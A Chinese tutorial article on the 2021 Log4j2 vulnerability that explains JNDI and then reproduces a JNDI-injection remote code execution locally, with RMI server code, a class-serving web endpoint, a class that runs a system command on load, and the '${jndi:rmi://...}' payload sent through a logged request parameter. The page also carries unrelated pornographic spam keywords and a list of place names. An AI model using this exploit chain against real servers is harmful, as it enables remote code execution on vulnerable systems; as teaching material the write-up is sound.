最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

用3個實例從原理到實戰(zhàn)講清楚Log4j史詩級漏洞

 更新時間:2021年12月14日 09:36:03   作者:程序新視界  
最近應(yīng)該很多人都在關(guān)注著一個漏洞Apache Log4j 2遠程代碼執(zhí)行,該漏洞一旦被攻擊者利用會造成嚴重危害,這篇文章主要給大家介紹了關(guān)于如何用3個實例從原理到實戰(zhàn)講清楚Log4j史詩級漏洞的相關(guān)資料,需要的朋友可以參考下

背景

最近互聯(lián)網(wǎng)技術(shù)圈最火的一件事莫過于Log4j2的漏洞了。同時也涌現(xiàn)出了各類分析文章,關(guān)于漏洞的版本、漏洞的原因、漏洞的修復(fù)、程序員因此加班等等。

經(jīng)??次椅恼碌呐笥讯贾溃鎸@樣熱門有意思的技術(shù)點,怎能錯過深入分析一波呢?大概你也已經(jīng)聽說了,造成漏洞的”罪魁禍首“是JNDI,今天我們就聊它。

JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是個什么鬼?好吧,如果你已經(jīng)有一兩年的編程經(jīng)驗,但還不了解JNDI,甚至沒聽說過。那么,要么趕緊換工作,要么趕緊讀讀這篇文章。

JNDI是個什么鬼?

說起JNDI,從事Java EE編程的人應(yīng)該都在用著,但知不知道自己在用,那就看你對技術(shù)的鉆研深度了。這次Log4j2曝出漏洞,不正說明大量項目或直接或間接的在用著JNDI。來看看JNDI到底是個什么鬼吧?

先來看看Sun官方的解釋:

Java命名和目錄接口(Java Naming and Directory Interface ,JNDI)是用于從Java應(yīng)用程序中訪問名稱和目錄服務(wù)的一組API。命名服務(wù)即將名稱與對象相關(guān)聯(lián),以便能通過相應(yīng)名稱訪問這些對象。而目錄服務(wù)即其對象具有屬性及名稱的命名服務(wù)。

命名或目錄服務(wù)允許你集中管理共享信息的存儲,這在網(wǎng)絡(luò)應(yīng)用程序中很重要,因為它可以使這類應(yīng)用程序更加一致和易于管理。例如,可以將打印機配置存儲在目錄服務(wù)中,這樣所有與打印機相關(guān)的應(yīng)用程序都能夠使用它。

概念是不是很抽象,讀了好幾遍都沒懂?一圖勝千言:

naming_service

看著怎么有點注冊中心的意思?是的,如果你使用過Nacos或讀過Nacos的源碼,Naming Service這個概念一定很熟悉。在JNDI中,雖然實現(xiàn)方式不同、應(yīng)用場景不同,但并不影響你通過類比注冊中心的方式來理解JNDI。

如果你說沒用過Nacos,那好,Map總用過吧。忽略掉JNDI與Map底層實現(xiàn)的區(qū)別,JNDI提供了一個類似Map的綁定功能,然后又提供了基于lookup或search之類的方法來根據(jù)名稱查找Object,好比Map的get方法。

總之,JNDI就是一個規(guī)范,規(guī)范就需要對應(yīng)的API(也就是一些Java類)來實現(xiàn)。通過這組API,可以將Object(對象)和一個名稱進行關(guān)聯(lián),同時提供了基于名稱查找Object的途徑。

最后,對于JNDI,SUN公司只是提供了一個接口規(guī)范,具體由對應(yīng)的服務(wù)器來實現(xiàn)。比如,Tomcat有Tomcat的實現(xiàn)方式,JBoss有JBoss的實現(xiàn)方式,遵守規(guī)范就好。

命名服務(wù)與目錄服務(wù)的區(qū)別

命名服務(wù)就是上面提到的,類似Map的綁定與查找功能。比如:在Internet中的域名服務(wù)(domain naming service,DNS),就是提供將域名映射到IP地址的命名服務(wù),在瀏覽器中輸入域名,通過DNS找到相應(yīng)的IP地址,然后訪問網(wǎng)站。

目錄服務(wù)是對命名服務(wù)的擴展,是一種特殊的命名服務(wù),提供了屬性與對象的關(guān)聯(lián)和查找。一個目錄服務(wù)通常擁有一個命名服務(wù)(但是一個命名服務(wù)不必具有一個目錄服務(wù))。比如電話簿就是一個典型的目錄服務(wù),一般先在電話簿里找到相關(guān)的人名,再找到這個人的電話號碼。

目錄服務(wù)允許屬性(比如用戶的電子郵件地址)與對象相關(guān)聯(lián)(而命名服務(wù)則不然)。這樣,使用目錄服務(wù)時,可以基于對象的屬性來搜索它們。

JNDI架構(gòu)分層

JNDI通常分為三層:

JNDI API:用于與Java應(yīng)用程序與其通信,這一層把應(yīng)用程序和實際的數(shù)據(jù)源隔離開來。因此無論應(yīng)用程序是訪問LDAP、RMI、DNS還是其他的目錄服務(wù),跟這一層都沒有關(guān)系。Naming Manager:也就是我們提到的命名服務(wù);JNDI SPI(Server Provider Interface):用于具體到實現(xiàn)的方法上。

整體架構(gòu)分層如下圖:

JNDI架構(gòu)

需要注意的是:JNDI同時提供了應(yīng)用程序編程接口(Application Programming Interface ,API)和服務(wù)提供程序接口(Service Provider Interface ,SPI)。

這樣做對于與命名或目錄服務(wù)交互的應(yīng)用程序來說,必須存在一個用于該服務(wù)的JNDI服務(wù)提供程序,這便是JNDI SPI發(fā)揮作用的舞臺。

一個服務(wù)提供程序基本上就是一組類,對特定的命名和目錄服務(wù)實現(xiàn)了各種JNDI接口——這與JDBC驅(qū)動程序針對特定的數(shù)據(jù)系統(tǒng)實現(xiàn)各種JDBC接口極為相似。作為開發(fā)人員,不需要擔心JNDI SPI。只需確保為每個要使用的命名或目錄服務(wù)提供了一個服務(wù)提供程序即可。

JNDI的應(yīng)用

下面再了解一下JNDI容器的概念及應(yīng)用場景。

JNDI容器環(huán)境

JNDI中的命名(Naming),就是將Java對象以某個名稱的形式綁定(binding)到一個容器環(huán)境(Context)中。當使用時,調(diào)用容器環(huán)境(Context)的查找(lookup)方法找出某個名稱所綁定的Java對象。

容器環(huán)境(Context)本身也是一個Java對象,它也可以通過一個名稱綁定到另一個容器環(huán)境(Context)中。將一個Context對象綁定到另外一個Context對象中,這就形成了一種父子級聯(lián)關(guān)系,多個Context對象最終可以級聯(lián)成一種樹狀結(jié)構(gòu),樹中的每個Context對象中都可以綁定若干個Java對象。

jndi-context-tree

JNDI 應(yīng)用

JNDI的基本使用操作就是:先創(chuàng)建一個對象,然后放到容器環(huán)境中,使用的時候再拿出來。

此時,你是否疑惑,干嘛這么費勁呢?換句話說,這么費勁能帶來什么好處呢?

在真實應(yīng)用中,通常是由系統(tǒng)程序或框架程序先將資源對象綁定到JNDI環(huán)境中,后續(xù)在該系統(tǒng)或框架中運行的模塊程序就可以從JNDI環(huán)境中查找這些資源對象了。

關(guān)于JDNI與我們實踐相結(jié)合的一個例子是JDBC的使用。在沒有基于JNDI實現(xiàn)時,連接一個數(shù)據(jù)庫通常需要:加載數(shù)據(jù)庫驅(qū)動程序、連接數(shù)據(jù)庫、操作數(shù)據(jù)庫、關(guān)閉數(shù)據(jù)庫等步驟。而不同的數(shù)據(jù)庫在對上述步驟的實現(xiàn)又有所不同,參數(shù)也可能發(fā)生變化。

如果把這些問題交由J2EE容器來配置和管理,程序就只需對這些配置和管理進行引用就可以了。

以Tomcat服務(wù)器為例,在啟動時可以創(chuàng)建一個連接到某種數(shù)據(jù)庫系統(tǒng)的數(shù)據(jù)源(DataSource)對象,并將該數(shù)據(jù)源(DataSource)對象綁定到JNDI環(huán)境中,以后在這個Tomcat服務(wù)器中運行的Servlet和JSP程序就可以從JNDI環(huán)境中查詢出這個數(shù)據(jù)源(DataSource)對象進行使用,而不用關(guān)心數(shù)據(jù)源(DataSource)對象是如何創(chuàng)建出來的。

JNDI-Tree

這種方式極大地增強了系統(tǒng)的可維護性,即便當數(shù)據(jù)庫系統(tǒng)的連接參數(shù)發(fā)生變更時,也與應(yīng)用程序開發(fā)人員無關(guān)。 JNDI將一些關(guān)鍵信息放到內(nèi)存中,可以提高訪問效率;通過 JNDI可以達到解耦的目的,讓系統(tǒng)更具可維護性和可擴展性。

JNDI實戰(zhàn)

有了以上的概念和基礎(chǔ)知識,現(xiàn)在可以開始實戰(zhàn)了。

在架構(gòu)圖中,JNDI的實現(xiàn)層中包含了多種實現(xiàn)方式,這里就基于其中的RMI實現(xiàn)來寫個實例體驗一把。

基于RMI的實現(xiàn)

RMI是Java中的遠程方法調(diào)用,基于Java的序列化和反序列化傳遞數(shù)據(jù)。

可以通過如下代碼來搭建一個RMI服務(wù):

// ①定義接口
public interface RmiService extends Remote {
	String sayHello() throws RemoteException;
}

// ②接口實現(xiàn)
public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {
	protected MyRmiServiceImpl() throws RemoteException {
	}

	@Override
	public String sayHello() throws RemoteException {
		return "Hello World!";
	}
}

// ③服務(wù)綁定并啟動監(jiān)聽
public class RmiServer {

	public static void main(String[] args) throws Exception {
		Registry registry = LocateRegistry.createRegistry(1099);
		System.out.println("RMI啟動,監(jiān)聽:1099 端口");
		registry.bind("hello", new MyRmiServiceImpl());
		Thread.currentThread().join();
	}
}

上述代碼先定義了一個RmiService的接口,該接口實現(xiàn)了Remote,并對RmiService接口進行了實現(xiàn)。在實現(xiàn)的過程中繼承了UnicastRemoteObject的具體服務(wù)實現(xiàn)類。

最后,在RmiServer中通過Registry監(jiān)聽1099端口,并將RmiService接口的實現(xiàn)類進行了綁定。

下面構(gòu)建客戶端訪問:

public class RmiClient {

	public static void main(String[] args) throws Exception {
		Hashtable env = new Hashtable();
		env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
		env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
		Context ctx = new InitialContext(env);
		RmiService service = (RmiService) ctx.lookup("hello");
		System.out.println(service.sayHello());
	}
}

其中,提供了兩個參數(shù)Context.INITIAL_CONTEXT_FACTORYContext.PROVIDER_URL,分別表示Context初始化的工廠方法和提供服務(wù)的url。

執(zhí)行上述程序,就可以獲得遠程端的對象并調(diào)用,這樣就實現(xiàn)了RMI的通信。當然,這里Server和Client在同一臺機器,就用了”localhost“的,如果是遠程服務(wù)器,則替換成對應(yīng)的IP即可。

構(gòu)建攻擊

常規(guī)來說,如果要構(gòu)建攻擊,只需偽造一個服務(wù)器端,返回惡意的序列化Payload,客戶端接收之后觸發(fā)反序列化。但實際上對返回的類型是有一定的限制的。

在JNDI中,有一個更好利用的方式,涉及到命名引用的概念javax.naming.Reference

如果一些本地實例類過大,可以選擇一個遠程引用,通過遠程調(diào)用的方式,引用遠程的類。這也就是JNDI利用Payload還會涉及HTTP服務(wù)的原因。

RMI服務(wù)只會返回一個命名引用,告訴JNDI應(yīng)用該如何去尋找這個類,然后應(yīng)用則會去HTTP服務(wù)下找到對應(yīng)類的class文件并加載。此時,只要將惡意代碼寫入static方法中,則會在類加載時被執(zhí)行。

基本流程如下:

RMI攻擊流程

修改RmiServer的代碼實現(xiàn):

public class RmiServer {

	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Registry registry = LocateRegistry.createRegistry(1099);
		System.out.println("RMI啟動,監(jiān)聽:1099 端口");
		Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");
		ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
		registry.bind("hello", referenceWrapper);

		Thread.currentThread().join();
	}
}

由于采用的Java版本較高,需先將系統(tǒng)變量com.sun.jndi.rmi.object.trustURLCodebase設(shè)置為true。

其中綁定的Reference涉及三個變量:

  • className:遠程加載時所使用的類名,如果本地找不到這個類名,就去遠程加載;
  • classFactory:遠程的工廠類;
  • classFactoryLocation:工廠類加載的地址,可以是file://、ftp://、http:// 等協(xié)議;

此時,通過Python啟動一個簡單的HTTP監(jiān)聽服務(wù):

192:~ zzs$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

打印日志,說明在8000端口進行了http的監(jiān)聽。

對應(yīng)的客戶端代碼修改為如下:

public class RmiClient {

	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Hashtable env = new Hashtable();
		env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
		env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
		Context ctx = new InitialContext(env);
		ctx.lookup("hello");
	}
}

執(zhí)行,客戶端代碼,發(fā)現(xiàn)Python監(jiān)聽的服務(wù)打印如下:

127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found
127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 -

可見,客戶端已經(jīng)去遠程加載惡意class(Calc.class)文件了,只不過Python服務(wù)并沒有返回對應(yīng)的結(jié)果而已。

進一步改造

上述代碼證明了可以通過RMI的形式進行攻擊,下面基于上述代碼和Spring Boot Web服務(wù)的形式進一步演示。通過JNDI注入+RMI的形式調(diào)用起本地的計算器。

上述的基礎(chǔ)代碼不變,后續(xù)只微調(diào)RmiServer和RmiClient類,同時添加一些新的類和方法。

第一步:構(gòu)建攻擊類

創(chuàng)建一個攻擊類BugFinder,用于啟動本地的計算器:

public class BugFinder {

	public BugFinder() {
		try {
			System.out.println("執(zhí)行漏洞代碼");
			String[] commands = {"open", "/System/Applications/Calculator.app"};
			Process pc = Runtime.getRuntime().exec(commands);
			pc.waitFor();
			System.out.println("完成執(zhí)行漏洞代碼");
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	public static void main(String[] args) {
		BugFinder bugFinder = new BugFinder();
	}

}

本人是Mac操作系統(tǒng),代碼中就基于Mac的命令實現(xiàn)方式,通過Java命令調(diào)用Calculator.app。同時,當該類被初始化時,會執(zhí)行啟動計算器的命令。

將上述代碼進行編譯,存放在一個位置,這里單獨copy出來放在了”/Users/zzs/temp/BugFinder.class“路徑,以備后用,這就是攻擊的惡意代碼了。

第二步:構(gòu)建Web服務(wù)器

Web服務(wù)用于RMI調(diào)用時返回攻擊類文件。這里采用Spring Boot項目,核心實現(xiàn)代碼如下:

@RestController
public class ClassController {

	@GetMapping(value = "/BugFinder.class")
	public void getClass(HttpServletResponse response) {
		String file = "/Users/zzs/temp/BugFinder.class";
		FileInputStream inputStream = null;
		OutputStream os = null;
		try {
			inputStream = new FileInputStream(file);
			byte[] data = new byte[inputStream.available()];
			inputStream.read(data);
			os = response.getOutputStream();
			os.write(data);
			os.flush();
		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			// 省略流的判斷關(guān)閉;
		}
	}
}

在該Web服務(wù)中,會讀取BugFinder.class文件,并返回給RMI服務(wù)。重點提供了一個Web服務(wù),能夠返回一個可執(zhí)行的class文件。

第三步:修改RmiServer

對RmiServer的綁定做一個修改:

public class RmiServer {

	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Registry registry = LocateRegistry.createRegistry(1099);
		System.out.println("RMI啟動,監(jiān)聽:1099 端口");
		Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class");
		ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
		registry.bind("hello", referenceWrapper);

		Thread.currentThread().join();
	}
}

這里Reference傳入的參數(shù)就是攻擊類及遠程下載的Web地址。

第四步:執(zhí)行客戶端代碼

執(zhí)行客戶端代碼進行訪問:

public class RmiClient {

	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Hashtable env = new Hashtable();
		env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
		env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
		Context ctx = new InitialContext(env);
		ctx.lookup("hello");
	}
}

本地計算器被打開:

RMI Client

基于Log4j2的攻擊

上面演示了基本的攻擊模式,基于上述模式,我們再來看看Log4j2的漏洞攻擊。

在Spring Boot項目中引入了log4j2的受影響版本:

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-web</artifactId>
	<exclusions><!-- 去掉springboot默認配置 -->
		<exclusion>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-logging</artifactId>
			</exclusion>
		</exclusions>
</dependency>

<dependency> <!-- 引入log4j2依賴 -->
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

這里需要注意,先排除掉Spring Boot默認的日志,否則可能無法復(fù)現(xiàn)Bug。

修改一下RMI的Server代碼:

public class RmiServer {

	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Registry registry = LocateRegistry.createRegistry(1099);
		System.out.println("RMI啟動,監(jiān)聽:1099 端口");
		Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null);
		ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
		registry.bind("hello", referenceWrapper);
		Thread.currentThread().join();
	}
}

這里直接訪問BugFinder,JNDI綁定名稱為:hello。

客戶端引入Log4j2的API,然后記錄日志:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class RmiClient {

	private static final Logger logger = LogManager.getLogger(RmiClient.class);

	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		logger.error("${jndi:rmi://127.0.0.1:1099/hello}");
		Thread.sleep(5000);
	}
}

日志中記錄的信息為“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和綁定的名稱。

執(zhí)行程序,發(fā)現(xiàn)計算器被成功打開。

當然,在實際應(yīng)用中,logger.error中記錄的日志信息,可能是通過參數(shù)獲得,比如在Spring Boot中定義如下代碼:

@RestController
public class Log4jController {

	private static final Logger logger = LogManager.getLogger(Log4jController.class);

	/**
	 * 方便測試,用了get請求
	 * @param username 登錄名稱
	 */
	@GetMapping("/a")
	public void log4j(String username){
		System.out.println(username);
		// 打印登錄名稱
		logger.info(username);
	}
}

在瀏覽器中請求URL為:

http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D

其中username參數(shù)的值就是“${jndi:rmi://127.0.0.1:1099/hello}”經(jīng)過URLEncoder#encode編碼之后的值。此時,訪問該URL地址,同樣可以將打開計算器。

至于Log4j2內(nèi)部邏輯漏洞觸發(fā)JNDI調(diào)用的部分就不再展開了,感興趣的朋友在上述實例上進行debug即可看到完整的調(diào)用鏈路。

小結(jié)

本篇文章通過對Log4j2漏洞的分析,不僅帶大家了解了JNDI的基礎(chǔ)知識,而且完美重現(xiàn)了一次基于JNDI的工具。本文涉及到的代碼都是本人親自實驗過的,強烈建議大家也跑一遍代碼,真切感受一下如何實現(xiàn)攻擊邏輯。

JNDI注入事件不僅在Log4j2中發(fā)生過,而且在大量其他框架中也有出現(xiàn)。雖然JDNI為我們帶來了便利,但同時也帶了風(fēng)險。不過在實例中大家也看到在JDK的高版本中,不進行特殊設(shè)置(com.sun.jndi.rmi.object.trustURLCodebase設(shè)置為true),還是無法觸發(fā)漏洞的。這樣也多少讓人放心一些。

另外,如果你的系統(tǒng)中真的出現(xiàn)此漏洞,強烈建議馬上修復(fù)。在此漏洞未被報道之前,可能只有少數(shù)人知道。一旦眾人皆知,躍躍欲試的人就多了,趕緊防護起來吧。

到此這篇關(guān)于Log4j史詩級漏洞的文章就介紹到這了,更多相關(guān)實例講Log4j漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 求1000階乘的結(jié)果末尾有多少個0

    求1000階乘的結(jié)果末尾有多少個0

    題目是:求1000!的結(jié)果末尾有多少個0,解題思路:兩個素數(shù)2、5,相乘即可得到10,我們可以認為,有多少組2、5,結(jié)尾就有多少個0,下面是代碼,需要的朋友可以參考下
    2014-02-02
  • SpringCloud-Hystrix實現(xiàn)原理總結(jié)

    SpringCloud-Hystrix實現(xiàn)原理總結(jié)

    通過hystrix可以解決雪崩效應(yīng)問題,它提供了資源隔離、降級機制、融斷、緩存等功能。接下來通過本文給大家分享SpringCloud-Hystrix實現(xiàn)原理,感興趣的朋友一起看看吧
    2021-05-05
  • synchronized?和?Lock?的異同點(如何讓選擇)

    synchronized?和?Lock?的異同點(如何讓選擇)

    這篇文章主要介紹了?synchronized和Lock的異同點(如何讓選擇),文章圍繞主題展開詳細的內(nèi)容介紹,具有一定的參考價值,需要的小伙伴可以參考一下
    2022-09-09
  • 一篇文章帶你入門Java繼承

    一篇文章帶你入門Java繼承

    這篇文章主要介紹了Java繼承概念詳細解讀,涉及繼承的概念,合成的語法等相關(guān)內(nèi)容,具有一定借鑒價值,需要的朋友可以參考下
    2021-08-08
  • struts2自定義MVC框架

    struts2自定義MVC框架

    這篇文章主要為大家詳細介紹了struts2如何自定義MVC框架,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2016-10-10
  • RestTemplate在Spring或非Spring環(huán)境下使用精講

    RestTemplate在Spring或非Spring環(huán)境下使用精講

    這篇文章主要為大家介紹了RestTemplate在Spring或非Spring環(huán)境下使用精講,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-03-03
  • Java畢業(yè)設(shè)計實戰(zhàn)之圖片展覽館管理系統(tǒng)的實現(xiàn)

    Java畢業(yè)設(shè)計實戰(zhàn)之圖片展覽館管理系統(tǒng)的實現(xiàn)

    這是一個使用了java+Springboot+SpringMVC+JPA+Jsp+maven+mysql開發(fā)的圖片展覽館管理系統(tǒng),是一個畢業(yè)設(shè)計的實戰(zhàn)練習(xí),具有圖片展覽管理該有的所有功能,感興趣的朋友快來看看吧
    2022-01-01
  • 詳解spring cloud整合Swagger2構(gòu)建RESTful服務(wù)的APIs

    詳解spring cloud整合Swagger2構(gòu)建RESTful服務(wù)的APIs

    這篇文章主要介紹了詳解spring cloud整合Swagger2構(gòu)建RESTful服務(wù)的APIs,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-01-01
  • 簡單聊聊Java程序中的換行符

    簡單聊聊Java程序中的換行符

    Java程序中的換行符一般使用“\n”表示,它是一個轉(zhuǎn)義字符,表示換行符。根據(jù)操作系統(tǒng)的不同,換行符的實際表示可能不同,本文就來簡單聊聊他們的區(qū)別與使用吧
    2023-03-03
  • jstorm源碼解析之bolt異常處理方法

    jstorm源碼解析之bolt異常處理方法

    下面小編就為大家?guī)硪黄猨storm源碼解析之bolt異常處理方法。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-08-08

最新評論

武邑县| 衡南县| 揭东县| 亳州市| 宁化县| 龙江县| 探索| 洪洞县| 淮安市| 馆陶县| 区。| 凉山| 大城县| 察雅县| 庐江县| 云林县| 称多县| 西宁市| 剑川县| 宝应县| 石屏县| 克山县| 镇原县| 湟中县| 漠河县| 内江市| 司法| 穆棱市| 东方市| 新建县| 理塘县| 保德县| 沾化县| 遵化市| 盐城市| 中山市| 清丰县| 谢通门县| 浙江省| 应城市| 泗洪县|